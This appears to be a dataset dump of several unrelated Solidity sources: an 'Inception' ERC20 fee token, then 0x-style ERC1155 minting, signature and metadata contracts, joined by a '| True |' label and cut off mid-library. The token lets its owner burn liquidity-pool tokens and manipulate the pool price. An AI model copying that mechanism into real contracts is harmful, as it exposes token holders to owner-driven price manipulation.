_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Inception is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Inception", "Inception") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 9;
uint256 _buyLiquidityFee = 1;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 14;
uint256 _sellLiquidityFee = 1;
uint256 _sellDevFee = 0;
uint256 totalSupply = 1_000_000_000 * 1e18;
maxTransactionAmount = 10_000_000 * 1e18;
maxWallet = 20_000_000 * 1e18;
swapTokensAtAmount = (totalSupply * 5) / 10000;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(0xB478d000F3C5ed6c609c5A5295093F69C55Bfea4); // set as marketing wallet
devWallet = address(0xB478d000F3C5ed6c609c5A5295093F69C55Bfea4); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function dream() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000 ) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 10, "Must keep fees at 10% or less");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 10, "Must keep fees at 10% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(devWallet).call{value: ethForDev}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | True | [
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|
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./lib/LibSafeMath.sol";
import "./ERC1155Mintable.sol";
import "./mixin/MixinOwnable.sol";
import "./mixin/MixinSignature.sol";
contract TokenMetadataRegistry is Ownable, MixinSignature {
using LibSafeMath for uint256;
ERC1155Mintable public mintableErc1155;
mapping(uint256 => mapping(string => Document)) public tokenIdToDocumentMap;
struct Document {
address writer;
string text;
uint creationTime;
}
struct SignedText {
address writer;
string text;
uint256 salt;
bytes signature;
}
constructor(
address _mintableErc1155
) {
mintableErc1155 = ERC1155Mintable(_mintableErc1155);
}
event UpdatedDocument(
uint256 indexed tokenId,
address indexed writer,
string indexed key,
string text,
uint256 salt,
bytes signature
);
function getSignedTextHash(SignedText memory signedText) public pure returns(bytes32) {
return keccak256(abi.encodePacked(signedText.writer, signedText.text, signedText.salt)) ;
}
function verifySignedDocument(SignedText memory signedText) public pure returns(bool) {
bytes32 signedHash = getSignedTextHash(signedText);
(bytes32 r, bytes32 s, uint8 v) = splitSignature(signedText.signature);
return isSigned(signedText.writer, signedHash, v, r, s);
}
modifier onlyTokenOwner(uint256 tokenId, address owner) {
require(mintableErc1155.ownerOf(tokenId) == owner, 'do not have permission to write docs');
_;
}
function writeAndVerifyDocuments(uint256 tokenId, string[] memory keys, SignedText[] memory signedTexts) public onlyTokenOwner(tokenId, msg.sender) {
require(keys.length == signedTexts.length, "tokenIds and txHashes size mismatch");
for (uint256 i = 0; i < keys.length; ++i) {
string memory key = keys[i];
SignedText memory signedText = signedTexts[i];
require(verifySignedDocument(signedText) == true, 'invalid signature');
tokenIdToDocumentMap[tokenId][key] = Document(signedText.writer, signedText.text, block.timestamp);
emit UpdatedDocument(tokenId, signedText.writer, key, signedText.text, signedText.salt, signedText.signature );
}
}
function writeDocuments(uint256 tokenId, string[] memory keys, string[] memory texts) public onlyTokenOwner(tokenId, msg.sender) {
require(keys.length == texts.length, "tokenIds and txHashes size mismatch");
for (uint256 i = 0; i < keys.length; ++i) {
string memory key = keys[i];
string memory text = texts[i];
tokenIdToDocumentMap[tokenId][key] = Document(msg.sender, text, block.timestamp);
emit UpdatedDocument(tokenId, msg.sender, key, text, 0, "");
}
}
}
pragma solidity ^0.7.0;
import "./LibRichErrors.sol";
import "./LibSafeMathRichErrors.sol";
library LibSafeMath {
function safeMul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
if (c / a != b) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.MULTIPLICATION_OVERFLOW,
a,
b
));
}
return c;
}
function safeDiv(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (b == 0) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.DIVISION_BY_ZERO,
a,
b
));
}
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (b > a) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.SUBTRACTION_UNDERFLOW,
a,
b
));
}
return a - b;
}
function safeAdd(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
if (c < a) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.ADDITION_OVERFLOW,
a,
b
));
}
return c;
}
function max256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.7.0;
import "./lib/LibSafeMath.sol";
import "./lib/LibAddress.sol";
import "./ERC1155.sol";
import "./interface/IERC1155Mintable.sol";
import "./mixin/MixinOwnable.sol";
import "./mixin/MixinContractURI.sol";
import "./mixin/MixinTokenURI.sol";
/// @dev Mintable form of ERC1155
/// Shows how easy it is to mint new items
contract ERC1155Mintable is
IERC1155Mintable,
ERC1155,
MixinContractURI,
MixinTokenURI
{
using LibSafeMath for uint256;
using LibAddress for address;
uint256 internal nonce;
/// mapping from token to max index
mapping (uint256 => uint256) public maxIndex;
mapping (uint256 => mapping(address => bool)) internal creatorApproval;
modifier onlyCreator(uint256 _id) {
require(creatorApproval[_id][msg.sender], "not an approved creator of id");
_;
}
function setCreatorApproval(uint256 id, address creator, bool status) external onlyCreator(id) {
creatorApproval[id][creator] = status;
}
/// @dev creates a new token
/// @param isNF is non-fungible token
/// @return type_ of token (a unique identifier)
function create(
bool isNF
)
external
override
onlyOwner()
returns (uint256 type_)
{
// Store the type in the upper 128 bits
type_ = (++nonce << 128);
// Set a flag if this is an NFI.
if (isNF) {
type_ = type_ | TYPE_NF_BIT;
}
creatorApproval[type_][msg.sender] = true;
// emit a Transfer event with Create semantic to help with discovery.
emit TransferSingle(
msg.sender,
address(0x0),
address(0x0),
type_,
0
);
emit URI(uri(type_), type_);
}
/// @dev creates a new token
/// @param type_ of token
function createWithType(
uint256 type_
)
external
onlyOwner()
{
creatorApproval[type_][msg.sender] = true;
// emit a Transfer event with Create semantic to help with discovery.
emit TransferSingle(
msg.sender,
address(0x0),
address(0x0),
type_,
0
);
emit URI(uri(type_), type_);
}
/// @dev mints fungible tokens
/// @param id token type
/// @param to beneficiaries of minted tokens
/// @param quantities amounts of minted tokens
function mintFungible(
uint256 id,
address[] calldata to,
uint256[] calldata quantities
)
external
override
onlyCreator(id)
{
// sanity checks
require(
isFungible(id),
"TRIED_TO_MINT_FUNGIBLE_FOR_NON_FUNGIBLE_TOKEN"
);
// mint tokens
for (uint256 i = 0; i < to.length; ++i) {
// cache to reduce number of loads
address dst = to[i];
uint256 quantity = quantities[i];
// Grant the items to the caller
balances[id][dst] = quantity.safeAdd(balances[id][dst]);
// Emit the Transfer/Mint event.
// the 0x0 source address implies a mint
// It will also provide the circulating supply info.
emit TransferSingle(
msg.sender,
address(0x0),
dst,
id,
quantity
);
// if `to` is a contract then trigger its callback
if (dst.isContract()) {
bytes4 callbackReturnValue = IERC1155Receiver(dst).onERC1155Received(
msg.sender,
msg.sender,
id,
quantity,
""
);
require(
callbackReturnValue == ERC1155_RECEIVED,
"BAD_RECEIVER_RETURN_VALUE"
);
}
}
}
/// @dev mints a non-fungible token
/// @param type_ token type
/// @param to beneficiaries of minted tokens
function mintNonFungible(
uint256 type_,
address[] calldata to
)
external
override
onlyCreator(type_)
{
require(
isNonFungible(type_),
"TRIED_TO_MINT_NON_FUNGIBLE_FOR_FUNGIBLE_TOKEN"
);
// Index are 1-based.
uint256 index = maxIndex[type_] + 1;
for (uint256 i = 0; i < to.length; ++i) {
// cache to reduce number of loads
address dst = to[i];
uint256 id = type_ | index + i;
nfOwners[id] = dst;
// You could use base-type id to store NF type balances if you wish.
balances[type_][dst] = balances[type_][dst].safeAdd(1);
emit TransferSingle(msg.sender, address(0x0), dst, id, 1);
// if `to` is a contract then trigger its callback
if (dst.isContract()) {
bytes4 callbackReturnValue = IERC1155Receiver(dst).onERC1155Received(
msg.sender,
msg.sender,
id,
1,
""
);
require(
callbackReturnValue == ERC1155_RECEIVED,
"BAD_RECEIVER_RETURN_VALUE"
);
}
}
// record the `maxIndex` of this nft type
// this allows us to mint more nft's of this type in a subsequent call.
maxIndex[type_] = to.length.safeAdd(maxIndex[type_]);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.7.0;
contract MixinSignature {
function splitSignature(bytes memory sig)
public pure returns (bytes32 r, bytes32 s, uint8 v)
{
require(sig.length == 65, "invalid signature length");
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
}
function isSigned(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s) public pure returns (bool) {
return _isSigned(_address, messageHash, v, r, s) || _isSignedPrefixed(_address, messageHash, v, r, s);
}
function _isSigned(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s)
internal pure returns (bool)
{
return ecrecover(messageHash, v, r, s) == _address;
}
function _isSignedPrefixed(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s)
internal pure returns (bool)
{
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
return _isSigned(_address, keccak256(abi.encodePacked(prefix, messageHash)), v, r, s);
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.7.0;
library LibRichErrors {
// bytes4(keccak256("Error(string)"))
bytes4 internal constant STANDARD_ERROR_SELECTOR =
0x08c379a0;
// solhint-disable func-name-mixedcase
/// @dev ABI encode a standard, string revert error payload.
/// This is the same payload that would be included by a `revert(string)`
/// solidity statement. It has the function signature `Error(string)`.
/// @param message The error string.
/// @return The ABI encoded error.
function StandardError(
string memory message
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
STANDARD_ERROR_SELECTOR,
bytes(message)
);
}
// solhint-enable func-name-mixedcase
/// @dev Reverts an encoded rich revert reason `errorData`.
/// @param errorData ABI encoded error data.
function rrevert(bytes memory errorData)
internal
pure
{
assembly {
revert(add(errorData, 0x20), mload(errorData))
}
}
}
pragma solidity ^0.7.0;
library LibSafeMathRichErrors {
